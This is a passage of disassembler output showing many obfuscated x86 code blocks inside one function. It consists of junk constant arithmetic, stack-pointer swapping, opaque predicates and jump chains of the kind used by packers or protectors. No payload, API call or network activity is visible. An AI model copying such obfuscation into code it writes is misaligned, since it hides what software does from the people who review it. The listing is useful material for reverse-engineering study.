loc_59FA99:				; CODE XREF: sub_58A891+24D8Bj
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_59FA9E:				; CODE XREF: sub_58A891+1C0AFj
					; sub_58A891+1D50Ej
		pop	esp
		push	707h
		mov	[esp-0Ah+arg_0+2], ebx
		jmp	loc_59DC3E
; ---------------------------------------------------------------------------


loc_59FAAC:				; CODE XREF: sub_58A891+2382Cj
		xor	ebp, 35F245C6h
		not	ebp
		push	eax
		mov	eax, 69EA10CDh
		add	eax, 4DBC2E30h
		add	ebp, eax
		pop	eax
		add	ebx, ebp
		pop	ebp
		push	4173h
		jmp	loc_5ADC10
; ---------------------------------------------------------------------------


loc_59FACF:				; CODE XREF: sub_58A891+1DB15j
		pop	edi
		xor	ecx, 5EC06FAEh
		push	eax
		push	ebp
		jmp	loc_59FDBD
; ---------------------------------------------------------------------------


loc_59FADD:				; CODE XREF: sub_58A891+12FA4j
					; sub_58A891+24C11j
		shl	esi, 2
		jmp	loc_59E71B
; ---------------------------------------------------------------------------


loc_59FAE5:				; CODE XREF: sub_58A891+2021Ej
		shr	ah, 1
		jmp	loc_5AE004
; ---------------------------------------------------------------------------


loc_59FAEC:				; CODE XREF: sub_58A891+1569Ej
		push	small 2FDAh
		mov	word ptr [esp+82h+var_82], ax
		push	ebx
		jmp	loc_5B1833
; ---------------------------------------------------------------------------


loc_59FAFA:				; CODE XREF: sub_58A891+2017Dj
		xor	byte ptr [esp+86h+var_86], al
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_59FB03:				; CODE XREF: sub_58A891+11B1Ej
		add	esp, 4
		add	al, ch
		pop	ecx
		push	7309h
		mov	[esp+0], edx
		push	6CD9h
		mov	[esp-1Eh+arg_18+2], ecx
		mov	cl, 0B2h
		jmp	loc_5A9CA8
; ---------------------------------------------------------------------------


loc_59FB20:				; CODE XREF: sub_58A891+1987Cj
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_5A8C9C
; ---------------------------------------------------------------------------


loc_59FB2D:				; CODE XREF: sub_58A891+1F458j
		xor	edi, [esp-1Eh+arg_18+2]
		xor	[esp-1Eh+arg_18+2], edi
		xor	edi, [esp-1Eh+arg_18+2]
		pop	esp
		sub	[esp+0], eax
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_59FB40:				; CODE XREF: sub_58A891+1A105j
					; sub_58A891+1CA68j
		add	ecx, 4
		xchg	ecx, [esp-1Eh+arg_18+2]
		pop	esp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp-1Eh+arg_18+2]
		pop	esp
		mov	[esp+0], ecx
		sub	esp, 4
		mov	[esp-1Eh+arg_18+2], edi
		mov	edi, 1A3338CBh
		mov	ecx, 1EEB7C9Ch
		and	ecx, 74C14806h
		jmp	loc_5AA349
; ---------------------------------------------------------------------------


loc_59FB78:				; CODE XREF: sub_58A891:loc_5A3828j
		sub	esi, 0B1205h
		push	esi
		sub	dword ptr [esp+0], 61695D31h
		mov	eax, [esp+0]
		push	ebx
		jmp	loc_5A07AE
; ---------------------------------------------------------------------------


loc_59FB8F:				; CODE XREF: sub_58A891+12103j
					; sub_58A891+13669j
		mov	ebx, 564347D0h
		mov	edx, ebx
		pop	ebx
		mov	edi, edx
		pop	edx
		xor	edi, 1D9593Fh
		jmp	loc_5A2476
; ---------------------------------------------------------------------------


loc_59FBA5:				; CODE XREF: sub_58A891+267EAj
		add	esp, 4
		add	edi, 2
		jmp	loc_59F1F8
; ---------------------------------------------------------------------------


loc_59FBB0:				; CODE XREF: sub_58A891+21C73j
		pop	ecx
		sub	ebx, 3FCFC1E1h
		jmp	loc_5A6FDC
; ---------------------------------------------------------------------------


loc_59FBBC:				; CODE XREF: sub_58A891+2238Cj
		mov	edi, 4
		jmp	loc_5B008D
; ---------------------------------------------------------------------------


loc_59FBC6:				; CODE XREF: sub_58A891+1208Dj
		not	esi
		jmp	loc_5A7D81
; ---------------------------------------------------------------------------


loc_59FBCD:				; CODE XREF: sub_58A891+13435j
		xor	ebx, [esp+0Ah+var_C+2]
		mov	esp, [esp+0Ah+var_C+2]
		bts	word ptr [esp+0Ah+var_C+2], ax
		pushf
		jmp	loc_5A0150
; ---------------------------------------------------------------------------


loc_59FBDE:				; CODE XREF: sub_58A891+277F9j
		neg	ebx
		sub	ebx, 951E5C4h
		and	ebp, ebx
		pop	ebx
		add	ebp, 1393EC0Ah
		sub	ebx, ebp
		pop	ebp
		add	ebx, edi
		jmp	loc_5AC36C
; ---------------------------------------------------------------------------


loc_59FBF9:				; CODE XREF: sub_58A891+198CAj
		push	ebx
		jmp	loc_59D724
; ---------------------------------------------------------------------------


loc_59FBFF:				; CODE XREF: sub_58A891+13C3Aj
		add	ebx, 5B250FE9h
		jmp	loc_59DDB1
; ---------------------------------------------------------------------------


loc_59FC0A:				; CODE XREF: sub_58A891+1FA5Ej
		not	edi
		or	edi, 5E392CA6h
		not	edi
		add	edi, 0DEBFFEF3h
		sub	ebx, edi
		pop	edi
		xor	ebx, [esp+6+var_8+2]
		xor	[esp+6+var_8+2], ebx
		xor	ebx, [esp+6+var_8+2]
		pop	esp
		mov	[esp+2+var_4+2], edi
		push	5B206D1Bh
		jmp	loc_5A746A
; ---------------------------------------------------------------------------


loc_59FC34:				; CODE XREF: sub_58A891+1ACD9j
		not	si
		xchg	si, cx
		push	di
		jmp	loc_5A8144
; ---------------------------------------------------------------------------


loc_59FC41:				; CODE XREF: sub_58A891+22D2Aj
		sub	ebx, 0ADD7483Eh
		mov	eax, ebx
		pop	ebx
		xor	ebx, eax
		jmp	loc_5A9691
; ---------------------------------------------------------------------------


loc_59FC51:				; CODE XREF: sub_58A891+275B9j
		mov	eax, [esp+4+var_4]
		jmp	loc_59C1B8
; ---------------------------------------------------------------------------


loc_59FC59:				; CODE XREF: sub_58A891+2380Aj
		push	edi
		mov	edi, 3571EABh
		sub	eax, edi
		mov	edi, [esp+8+var_8]
		add	esp, 4
		jmp	loc_5A4330
; ---------------------------------------------------------------------------


loc_59FC6C:				; CODE XREF: sub_58A891+14223j
		or	ch, 0Ch
		jp	loc_5ADDED
		inc	ch
		sub	ch, 69h
		add	bl, ch
		jmp	loc_5A40F3
; ---------------------------------------------------------------------------


loc_59FC81:				; CODE XREF: sub_58A891+16159j
		sub	edi, 788A2032h
		jmp	loc_5A2308
; ---------------------------------------------------------------------------


loc_59FC8C:				; CODE XREF: sub_58A891+15EACj
		and	ebx, 4D32100Eh
		add	ebx, 20C07C1h
		add	edi, 4FD55E88h
		add	edi, ebx
		sub	edi, 4FD55E88h
		pop	ebx
		push	ecx
		mov	ecx, 71957BD8h
		neg	ecx
		shr	ecx, 2
		shl	ecx, 7
		sub	ecx, 0E06757Fh
		inc	ecx
		push	ebx
		mov	ebx, 61E00D9Ah
		jmp	loc_5B0E4C
; ---------------------------------------------------------------------------


loc_59FCC7:				; CODE XREF: sub_58A891+1E6F9j
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_59FCCC:				; CODE XREF: sub_58A891+19745j
		mov	[esp+0], eax
		push	esp
		jmp	loc_5A1887
; ---------------------------------------------------------------------------


loc_59FCD5:				; CODE XREF: sub_58A891+15CA0j
		xor	eax, [esp+0]
		xor	[esp+0], eax
		xor	eax, [esp+0]
		pop	esp
		push	49DFh
		jmp	loc_5A7404
; ---------------------------------------------------------------------------


loc_59FCE9:				; CODE XREF: sub_58A891+12F98j
					; sub_58A891+205B9j
		mov	esi, 2
		add	ecx, esi
		mov	esi, [esp+80h+var_82+2]
		jmp	loc_5B2CDE
; ---------------------------------------------------------------------------


loc_59FCF8:				; CODE XREF: sub_58A891+135BCj
		mov	ebx, 4B9F297Eh
		jmp	loc_59D983
; ---------------------------------------------------------------------------


loc_59FD02:				; CODE XREF: sub_58A891+134AEj
		xchg	ecx, [esp+2+var_4+2]
		jmp	loc_5A3E55
; ---------------------------------------------------------------------------


loc_59FD0A:				; CODE XREF: sub_58A891+1B0EDj
		add	ebp, ebx
		pop	ebx
		jmp	loc_5AA455
; ---------------------------------------------------------------------------


loc_59FD12:				; CODE XREF: sub_58A891+1B77Ej
		pop	eax
		mov	bl, cl
		push	eax
		jmp	loc_59DACF
; ---------------------------------------------------------------------------


loc_59FD1B:				; CODE XREF: sub_58A891+13FADj
					; sub_58A891:loc_5AC5E7j
		add	ecx, ebx
		pop	ebx
		push	ecx
		push	[esp+8Eh+var_8A]
		pop	ecx
		pop	[esp+8Eh+var_8E]
		pop	esp
		add	esi, 4
		jmp	loc_5AA0B0
; ---------------------------------------------------------------------------


loc_59FD33:				; CODE XREF: sub_58A891+28573j
		add	ebx, 1AC91FBBh
		jge	loc_5ADCBC
		sub	ebx, 0E6AD9FBCh
		push	ebx
		jmp	loc_5B01E4
; ---------------------------------------------------------------------------


loc_59FD4B:				; CODE XREF: sub_58A891+1452Bj
		and	edi, ebp
		pop	ebp
		shl	edi, 8
		jmp	loc_59C535
; ---------------------------------------------------------------------------
		dw 0D800h
; ---------------------------------------------------------------------------
		sub	al, 2Eh
		pop	bx
		sub	al, 8Ah
		sub	al, 5Ah
		jmp	loc_5ADCD7
; ---------------------------------------------------------------------------


loc_59FD65:				; CODE XREF: sub_58A891+1785Ej
		mov	edx, 5F3F29C0h
		not	edx
		add	edx, 695F69F4h
		jb	loc_5A0CDA
		and	edx, 725B7DB8h
		jnz	loc_5A58AF


loc_59FD84:				; CODE XREF: sub_58A891+18140j
		pop	esp
		or	eax, eax
		jz	loc_5ABE32
		push	eax
		mov	eax, 2773F42h
		jmp	loc_5A7595
; ---------------------------------------------------------------------------


loc_59FD98:				; CODE XREF: sub_58A891+238EEj
		mov	dl, 16h
		xor	al, dl
		pop	dx
		mov	bh, 20h
		jmp	loc_5ACF88
; ---------------------------------------------------------------------------


loc_59FDA5:				; CODE XREF: sub_58A891+11EDBj
		sub	edi, 4
		xchg	edi, [esp+58h+var_58]
		mov	esp, [esp+58h+var_58]
		mov	[esp+58h+var_58], esi
		push	ebp
		push	ebx
		push	216E4A28h
		jmp	loc_5A25AF
; ---------------------------------------------------------------------------


loc_59FDBD:				; CODE XREF: sub_58A891+15247j
		mov	ebp, 51E234FEh
		mov	eax, ebp
		pop	ebp
		xor	eax, 3F910C14h
		neg	eax
		dec	eax
		xor	eax, 0E008A31Bh
		add	esi, eax
		pop	eax
		add	esi, ecx
		push	eax
		mov	eax, 5D5870C5h
		jmp	loc_5AA518
; ---------------------------------------------------------------------------


loc_59FDE2:				; CODE XREF: sub_58A891+15C30j
		sub	esp, 4
		mov	[esp+0], ecx
		push	esi
		push	61911C09h
		pop	esi
		sub	esi, 1691B992h
		push	esi
		jmp	loc_5A07E7
; ---------------------------------------------------------------------------


loc_59FDFE:				; CODE XREF: sub_58A891+1AD17j
		mov	al, 9
		add	al, dl
		pop	edx
		push	ecx
		mov	ch, 4Dh
		xor	ch, 4Ch
		sub	al, ch
		pop	ecx
		not	al
		push	bx
		mov	bh, 0D3h
		xor	bh, 0B0h
		add	al, 3Dh
		sub	al, 0D5h
		add	al, 75h
		sub	al, 99h
		add	al, bh
		add	al, 99h
		sub	al, 75h
		push	ebx
		mov	bh, 5
		add	bh, 1
		shr	bh, 7
		push	edx
		mov	dl, 0B5h
		sub	dl, 20h
		add	dl, 76h
		shl	dl, 7
		shl	dl, 4
		sub	dl, 0D7h
		add	bh, 2Ch
		sub	bh, dl
		sub	bh, 2Ch
		jmp	loc_5A5505
; ---------------------------------------------------------------------------


loc_59FE4B:				; CODE XREF: sub_58A891+2536Ej
		xor	edx, 2841112Ah
		xor	edx, 22413B66h
		add	eax, edx
		pop	edx
		add	ecx, eax
		jmp	loc_59CFB3
; ---------------------------------------------------------------------------


loc_59FE61:				; CODE XREF: sub_58A891+27279j
		push	ebp
		mov	ebp, 5B0E6FC9h
		sub	edx, ebp
		pop	ebp
		sub	edx, 54F45BFBh
		add	edx, 0CA04B07Ah
		mov	esi, edx
		pop	edx
		and	eax, esi
		pop	esi
		jmp	loc_5A66BE
; ---------------------------------------------------------------------------


loc_59FE81:				; CODE XREF: sub_58A891+1AE75j
		pop	edx
		jmp	loc_5A96FA
; ---------------------------------------------------------------------------


loc_59FE87:				; CODE XREF: sub_58A891+18A25j
		mov	edi, 59B80E77h
		push	0FDAEFE0Ch
		pop	ebx
		jmp	loc_5ACE31
; ---------------------------------------------------------------------------


loc_59FE97:				; CODE XREF: sub_58A891+12F90j
		neg	esi
		ja	loc_5B085B
		sub	esi, 24716061h
		jmp	loc_5A4CD5
; ---------------------------------------------------------------------------


loc_59FEAA:				; CODE XREF: sub_58A891+15F18j
		add	esi, 3D83268h
		jmp	loc_5B2081
; ---------------------------------------------------------------------------


loc_59FEB5:				; CODE XREF: sub_58A891+213B3j
		add	edi, ebx
		pop	ebx
		add	edx, 39C71803h
		add	edx, edi
		sub	edx, 39C71803h
		pop	edi
		xchg	edx, [esp+78h+var_7A+2]
		mov	esp, [esp+78h+var_7A+2]
		shl	byte ptr [esp+78h+var_7A+2], cl
		pushf
		jmp	loc_5A5003
; ---------------------------------------------------------------------------
		lodsd
		push	edx
		mov	edx, 7C6F2B95h
		sub	eax, edx
		pop	edx
		add	eax, ebx
		jmp	loc_5A8629
; ---------------------------------------------------------------------------


loc_59FEE7:				; CODE XREF: sub_58A891+226A0j
		push	[esp+7Ch+var_7E+2]
		mov	edx, [esp+80h+var_82+2]
		add	esp, 4
		jmp	loc_5A43ED
; ---------------------------------------------------------------------------


loc_59FEF8:				; CODE XREF: sub_58A891+1EB99j
		sub	al, 0DBh
		sub	al, dh
		add	al, 0DBh
		mov	dx, word ptr [esp+7Ch+var_7E+2]
		add	esp, 2
		sub	al, cl
		add	al, 73h
		jmp	loc_5B2BA6
; ---------------------------------------------------------------------------


loc_59FF0E:				; CODE XREF: sub_58A891+15CC7j
		xchg	ebx, [esp+78h+var_7A+2]
		pop	esp
		mov	[esp+74h+var_74], ebx
		mov	bh, cl
		jmp	loc_5A8BE2
; ---------------------------------------------------------------------------


loc_59FF1C:				; CODE XREF: sub_58A891+21E59j
		mov	eax, [esp+74h+var_74]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+78h+var_7A+2]
		pop	esp
		jmp	loc_59FAEC
; ---------------------------------------------------------------------------


loc_59FF34:				; CODE XREF: sub_58A891+11D8Ej
		mov	cx, [esp+0]
		push	ebx
		jmp	loc_5A03D7
; ---------------------------------------------------------------------------


loc_59FF3E:				; CODE XREF: sub_58A891+13A47j
		mov	edi, 75256CA3h
		push	242Fh
		mov	[esp+22h+var_24+2], edi
		push	ecx
		mov	ecx, 45FF085Dh
		jmp	loc_5AECC2
; ---------------------------------------------------------------------------


loc_59FF56:				; CODE XREF: sub_58A891+162C6j
		mov	ebx, esp
		jmp	loc_5A31F1
; ---------------------------------------------------------------------------


loc_59FF5D:				; CODE XREF: sub_58A891+17CEBj
					; sub_58A891:loc_5A85A1j
		push	esp
		push	[esp+2Ah+var_2C+2]
		pop	edx
		add	esp, 4
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+26h+var_28+2]
		mov	esp, [esp+26h+var_28+2]
		push	1698h
		mov	[esp+2Ah+var_2C+2], edi
		push	3FBD6836h
		pop	edi
		shl	edi, 7
		shl	edi, 3
		jmp	loc_5ADF4E
; ---------------------------------------------------------------------------
		mov	eax, [esp+2Ah+var_2C+2]
		push	5B50h
		mov	[esp+2Eh+var_30+2], ecx
		jmp	loc_5B0C7E
; ---------------------------------------------------------------------------


loc_59FFA0:				; CODE XREF: sub_58A891+27C10j
		sub	esp, 4
		mov	[esp+32h+var_34+2], edi
		sub	esp, 4
		mov	[esp+36h+var_38+2], ebp
		mov	ebp, 1140778Eh
		shl	ebp, 3
		jmp	loc_5A5A7F
; ---------------------------------------------------------------------------


loc_59FFBC:				; CODE XREF: sub_58A891+19AE3j
		mov	edx, 4
		jmp	loc_5A49BA
; ---------------------------------------------------------------------------


loc_59FFC6:				; CODE XREF: sub_58A891:loc_5A87CAj
					; sub_58A891+22818j
		mov	esp, [esp+36h+var_38+2]
		push	ecx
		mov	ecx, esp
		push	ebx
		mov	ebx, 25D15B3Fh
		or	ebx, 1E2D74E8h
		shl	ebx, 3
		add	ebx, 46763899h
		sub	ebx, 4662388Dh
		add	ecx, ebx
		pop	ebx
		add	ecx, 4
		xor	ecx, [esp+3Ah+var_3C+2]
		jmp	loc_5A9B9B
; ---------------------------------------------------------------------------


loc_59FFF8:				; CODE XREF: sub_58A891+2808Fj
		pop	ebx
		jmp	loc_5A5F18
; ---------------------------------------------------------------------------


loc_59FFFE:				; CODE XREF: sub_58A891+1AD27j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5A1D3B
; ---------------------------------------------------------------------------


loc_5A000C:				; CODE XREF: sub_58A891+1CF87j
		not	esi
		shl	esi, 7
		jp	loc_5A58AF
		jmp	loc_5AD6D4
; ---------------------------------------------------------------------------


loc_5A001C:				; CODE XREF: sub_58A891+14497j
		add	edi, ebx
		pop	ebx
		jmp	loc_5AE169
; ---------------------------------------------------------------------------


loc_5A0024:				; CODE XREF: sub_58A891+15012j
		add	edi, ebx
		pop	ebx
		sub	edi, eax
		sub	edi, 3506470Dh
		pop	eax
		sub	eax, edi
		pop	edi
		sub	eax, ebx
		add	eax, 1EDA3E1Eh
		jmp	loc_59EFE2
; ---------------------------------------------------------------------------


loc_5A003F:				; CODE XREF: sub_58A891+1C305j
		mov	ebp, esp
		jmp	loc_5AEAC1
; ---------------------------------------------------------------------------


loc_5A0046:				; CODE XREF: sub_58A891+1BA65j
		push	7CECh
		jmp	loc_5AA129
; ---------------------------------------------------------------------------


loc_5A0050:				; CODE XREF: sub_58A891+1329Bj
		xor	edi, [esp-16h+arg_E]
		mov	esp, [esp-16h+arg_E]
		push	ebp
		push	ecx
		mov	ecx, esp
		jmp	loc_5AC762
; ---------------------------------------------------------------------------


loc_5A005F:				; CODE XREF: sub_58A891+23FABj
		add	al, 0F7h
		sub	esp, 4
		mov	[esp-0Ah+arg_0+2], edx
		push	eax
		jmp	loc_5A25D7
; ---------------------------------------------------------------------------


loc_5A006D:				; CODE XREF: sub_58A891+254CAj
		add	esp, 4
		neg	edx
		jmp	loc_5AB059
; ---------------------------------------------------------------------------


loc_5A007A:				; CODE XREF: sub_58A891+16A91j
		or	edx, 7411AF5h
		add	edx, 483A050Fh
		jmp	loc_5A514E
; ---------------------------------------------------------------------------


loc_5A008B:				; CODE XREF: sub_58A891+1829Ej
		sub	ax, bp
		add	ax, 4A0Ah
		sub	ax, 46B3h
		mov	ebp, [esp-0Ah+arg_0+2]
		push	edi
		jmp	loc_5A7707
; ---------------------------------------------------------------------------


loc_5A009F:				; CODE XREF: sub_58A891+174B9j
		pop	esi
		xchg	ebp, [esp-0Ah+arg_0+2]
		pop	esp
		jmp	loc_5A10DB
; ---------------------------------------------------------------------------


loc_5A00A9:				; CODE XREF: sub_58A891+24BF5j
		mov	eax, 4964051Ah
		sub	edi, eax
		jmp	loc_5A0B1B
; ---------------------------------------------------------------------------


loc_5A00B5:				; CODE XREF: sub_58A891+27502j
		push	2B8h
		mov	[esp-0Ah+arg_0+2], edx
		mov	dh, 0BAh
		add	dh, 0CEh
		shr	dh, 5
		dec	dh
		push	bx
		mov	bl, 42h
		add	dh, bl
		pop	bx
		jmp	loc_5AC87C
; ---------------------------------------------------------------------------


loc_5A00D4:				; CODE XREF: sub_58A891+23B99j
		push	edx
		mov	edx, 4A5E0539h
		jmp	loc_59C771
; ---------------------------------------------------------------------------


loc_5A00DF:				; CODE XREF: sub_58A891+1F0C0j
		mov	ah, 0A1h
		add	bh, ah
		mov	ax, [esp+0]
		add	esp, 2
		add	al, bh
		pop	ebx
		add	al, dh
		sub	al, 1
		mov	edx, [esp-0Eh+arg_4+2]
		jmp	loc_5A29F9
; ---------------------------------------------------------------------------


loc_5A00F9:				; CODE XREF: sub_58A891+1D187j
		inc	esi
		jmp	loc_59E284
; ---------------------------------------------------------------------------


loc_5A00FF:				; CODE XREF: sub_58A891+18B7Bj
		push	esi
		push	edi
		jmp	loc_5ABC1A
; ---------------------------------------------------------------------------


loc_5A0106:				; CODE XREF: sub_58A891+1E2F6j
		mov	eax, [esp+0]
		add	esp, 4
		jmp	loc_5A1A28
; ---------------------------------------------------------------------------


loc_5A0114:				; CODE XREF: sub_58A891+1674Bj
		pop	edx
		jmp	loc_5A8E3D
; ---------------------------------------------------------------------------


loc_5A011A:				; CODE XREF: sub_58A891+19DD7j
					; sub_58A891+1A64Bj
		sub	edi, ecx
		push	[esp-0Eh+arg_4+2]
		mov	ecx, [esp-0Ah+arg_0+2]
		add	esp, 4
		jmp	loc_59C373
; ---------------------------------------------------------------------------


loc_5A012D:				; CODE XREF: sub_58A891:loc_59E71Bj
					; sub_58A891+1C6CAj
		jmp	loc_5B16A8
; ---------------------------------------------------------------------------


loc_5A0132:				; CODE XREF: sub_58A891+1956Fj
					; sub_58A891:loc_5AA6FCj
		mov	ecx, esi
		mov	esi, [esp+78h+var_7A+2]
		jmp	loc_5B0EE8
; ---------------------------------------------------------------------------


loc_5A013C:				; CODE XREF: sub_58A891+28180j
		pop	esi
		sub	ebp, edi
		jmp	loc_5A723A
; ---------------------------------------------------------------------------


loc_5A0144:				; CODE XREF: sub_58A891+18600j
		add	[esp+74h+var_74], 4
		jmp	loc_5A3811
; ---------------------------------------------------------------------------


loc_5A0150:				; CODE XREF: sub_58A891+15348j
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A0155:				; CODE XREF: sub_58A891+144D6j
		pop	edx
		jmp	loc_5B243C
; ---------------------------------------------------------------------------


loc_5A015B:				; CODE XREF: sub_58A891+220DDj
		xchg	ecx, [esp+6Eh+var_70+2]
		pop	esp
		mov	[esp+6Ah+var_6C+2], edi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+6Eh+var_70+2]
		pop	esp
		jmp	loc_5A2E8D
; ---------------------------------------------------------------------------


loc_5A0177:				; CODE XREF: sub_58A891:loc_5A0BEDj
		not	edi
		jmp	loc_5AF2D8
; ---------------------------------------------------------------------------


loc_5A017E:				; CODE XREF: sub_58A891+1F552j
		sub	esp, 4
		mov	[esp+6Eh+var_70+2], esi
		mov	esi, 1F9209A7h
		add	esi, 63422625h
		or	esi, 496E2E85h
		add	esi, 3401D037h
		jmp	loc_5A878C
; ---------------------------------------------------------------------------


loc_5A01A0:				; CODE XREF: sub_58A891+11988j
					; sub_58A891+285B0j
		sub	ebp, 6AAF5A82h
		pop	eax
		push	eax
		mov	eax, 61F661B2h
		sub	eax, 448A7296h
		push	edi
		mov	edi, 335E1ABBh
		xor	eax, edi
		pop	edi
		dec	eax
		jmp	loc_5A8C2B
; ---------------------------------------------------------------------------


loc_5A01C1:				; CODE XREF: sub_58A891+1DB34j
		push	[esp-6+arg_0+2]
		pop	ebx
		pop	dword ptr [esp+0]
		mov	esp, [esp-0Ah+arg_0+2]
		jmp	loc_5B034D
; ---------------------------------------------------------------------------


loc_5A01D1:				; CODE XREF: sub_58A891+12EC0j
		pop	[esp-0Eh+arg_4+2]
		pop	esp
		jmp	loc_5AC7B8
; ---------------------------------------------------------------------------


loc_5A01DA:				; CODE XREF: sub_58A891+1515Aj
					; sub_58A891+1CDAEj ...
		push	ecx
		mov	ch, 14h
		inc	ch
		or	ch, 0A1h
		jb	loc_5A3DDF
		jmp	loc_5A2226
; ---------------------------------------------------------------------------


loc_5A01ED:				; CODE XREF: sub_58A891+19C57j
		or	edx, ecx
		push	[esp-0Eh+arg_4+2]
		pop	ecx
		add	esp, 4
		sub	edx, 1
		xor	edx, 0E9DAE7BEh
		and	esi, edx
		pop	edx
		sub	esi, 9EF2FA74h
		mov	ecx, 410C0A4Fh
		jmp	loc_59F994
; ---------------------------------------------------------------------------


loc_5A0215:				; CODE XREF: sub_58A891:loc_5A499Ej
					; sub_58A891+1C06Ej
		or	esi, 18F374C5h
		push	eax
		mov	eax, 738C4870h
		add	eax, 30783ACBh
		add	esi, eax
		jmp	loc_5A0D8C
; ---------------------------------------------------------------------------


loc_5A022D:				; CODE XREF: sub_58A891+13A8Aj
		mov	edi, esi
		pop	esi
		inc	edi
		dec	edi
		neg	edi
		sub	edi, 0C915965Ah
		add	edx, edi
		jmp	loc_5B25F5
; ---------------------------------------------------------------------------


loc_5A0241:				; CODE XREF: sub_58A891+1352Aj
					; sub_58A891+19E10j
		mov	ecx, [esp+9Eh+var_9E]
		push	eax
		mov	eax, esp
		push	ecx
		mov	ecx, 796388Fh
		neg	ecx
		push	esi
		jmp	loc_5AD690
; ---------------------------------------------------------------------------


loc_5A0255:				; CODE XREF: sub_58A891+1B506j
		push	5CF70455h
		push	[esp+0AEh+var_AE]
		pop	edi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+0B2h+var_B2]
		pop	esp
		jmp	loc_5A2280
; ---------------------------------------------------------------------------


loc_5A0273:				; CODE XREF: sub_58A891+13037j
		add	dh, 7Dh
		push	ecx
		push	edx
		mov	dh, 0B1h
		neg	dh
		jl	loc_5B2CEB
		shr	dh, 7
		jmp	loc_5AC2BD
; ---------------------------------------------------------------------------


loc_5A028A:				; CODE XREF: sub_58A891+2003Aj
		sub	edi, 2DE3D68h
		push	esi
		mov	esi, 21FD57C2h
		dec	esi
		push	edx
		mov	edx, 16F11758h
		not	edx
		shr	edx, 8
		sub	edx, 1
		xor	edx, 59DE5D56h
		push	3058h
		mov	[esp+8Ah+var_8A], eax
		jmp	loc_5A69A5
; ---------------------------------------------------------------------------


loc_5A02BB:				; CODE XREF: sub_58A891+1D068j
		add	bl, 45h
		sub	bl, 0C6h
		mov	ax, word ptr [esp+8Ah+var_8A]
		push	148Bh
		mov	[esp+8Eh+var_8E], edi
		jmp	loc_5A9315
; ---------------------------------------------------------------------------


loc_5A02D2:				; CODE XREF: sub_58A891+1687Dj
		or	eax, eax
		jnz	loc_5A6FEB
		sub	esp, 4
		mov	[esp+92h+var_92], esi
		push	43FBh
		mov	[esp+96h+var_96], eax
		push	154904A4h
		pop	eax
		sub	eax, 0E290E1E9h
		push	0B81h
		mov	[esp+9Ah+var_9A], eax
		pop	esi
		jmp	loc_59DEB5
; ---------------------------------------------------------------------------


loc_5A0301:				; CODE XREF: sub_58A891+18F3Aj
					; sub_58A891+22789j
		mov	eax, 2
		mov	ebx, eax
		jmp	loc_5A911C
; ---------------------------------------------------------------------------


loc_5A030D:				; CODE XREF: sub_58A891+1D8B7j
		mov	word ptr [esp+96h+var_96], cx
		pop	di
		mov	cx, word ptr [esp+94h+var_96+2]
		add	esp, 2
		xchg	di, word ptr [esp+90h+var_92+2]
		jmp	loc_59BF76
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+90h+var_92+2]
		push	ebp
		sub	esp, 4
		mov	[esp+98h+var_9A+2], esp
		add	[esp+98h+var_9A+2], 4
		pop	ebp
		jmp	loc_5B22C6
; ---------------------------------------------------------------------------


loc_5A033B:				; CODE XREF: sub_58A891+2166Ej
		jnz	loc_5AC655
		sub	al, 0Ch
		push	ebx
		jmp	loc_5A447D
; ---------------------------------------------------------------------------
		add	esp, 4
		push	esp


loc_5A034D:				; CODE XREF: sub_58A891:loc_59F981j
		sub	esi, 969946Fh
		jmp	loc_5A433D
; ---------------------------------------------------------------------------


loc_5A0358:				; CODE XREF: sub_58A891+22BA5j
		dec	ecx
		jg	loc_5AE922
		add	ecx, 22EE7D13h
		jmp	loc_5B1E2E
; ---------------------------------------------------------------------------


loc_5A036A:				; CODE XREF: sub_58A891+1B42Ej
		add	cl, 6Ch
		push	ebx
		mov	bl, 73h
		push	bx
		jmp	loc_5ADDA4
; ---------------------------------------------------------------------------


loc_5A0377:				; CODE XREF: sub_58A891+198B8j
		mov	dx, word ptr [esp+9Eh+var_9E]
		jmp	loc_5AA838
; ---------------------------------------------------------------------------


loc_5A0380:				; CODE XREF: sub_58A891+22867j
		dec	esi
		add	esi, 1
		and	esi, 1CBF5E27h
		jmp	loc_5A236B
; ---------------------------------------------------------------------------


loc_5A038F:				; CODE XREF: sub_58A891+2259Bj
		push	edx
		mov	edx, 68BC2B87h
		jmp	loc_5A52AD
; ---------------------------------------------------------------------------


loc_5A039A:				; CODE XREF: sub_58A891+25FB8j
		mov	[esp+0A2h+var_A2], esi
		push	ebp
		push	67B46FFEh
		pop	ebp
		not	ebp
		sub	ebp, 664C6788h
		jnz	loc_5AE4D7
		add	ebp, 0ED3B2EC4h
		mov	esi, ebp
		pop	ebp
		inc	esi
		push	edx


loc_5A03BD:				; CODE XREF: sub_58A891+2470Cj
		sub	edx, 74BA1949h
		push	esi
		mov	esi, 46B35EDEh
		shr	esi, 3
		sub	esi, 0E87DF64Dh
		jmp	loc_59DC6F
; ---------------------------------------------------------------------------


loc_5A03D7:				; CODE XREF: sub_58A891+156A8j
		sub	esp, 4
		jmp	loc_5AC994
; ---------------------------------------------------------------------------


loc_5A03DF:				; CODE XREF: sub_58A891+14ECEj
		push	esp
		jmp	loc_5A9162
; ---------------------------------------------------------------------------


loc_5A03E5:				; CODE XREF: sub_58A891+23D11j
		add	ebp, 0FFFFFFFFh
		add	ebp, 5430FD1h
		add	ecx, 39D22D0Bh
		add	ecx, ebp
		sub	ecx, 39D22D0Bh
		push	[esp+8Ah+var_8A]
		pop	ebp
		add	esp, 4
		xor	eax, ecx
		jmp	loc_5A90ED
; ---------------------------------------------------------------------------


loc_5A040D:				; CODE XREF: sub_58A891+1BEA9j
		add	edi, 4
		jmp	loc_5B120E
; ---------------------------------------------------------------------------


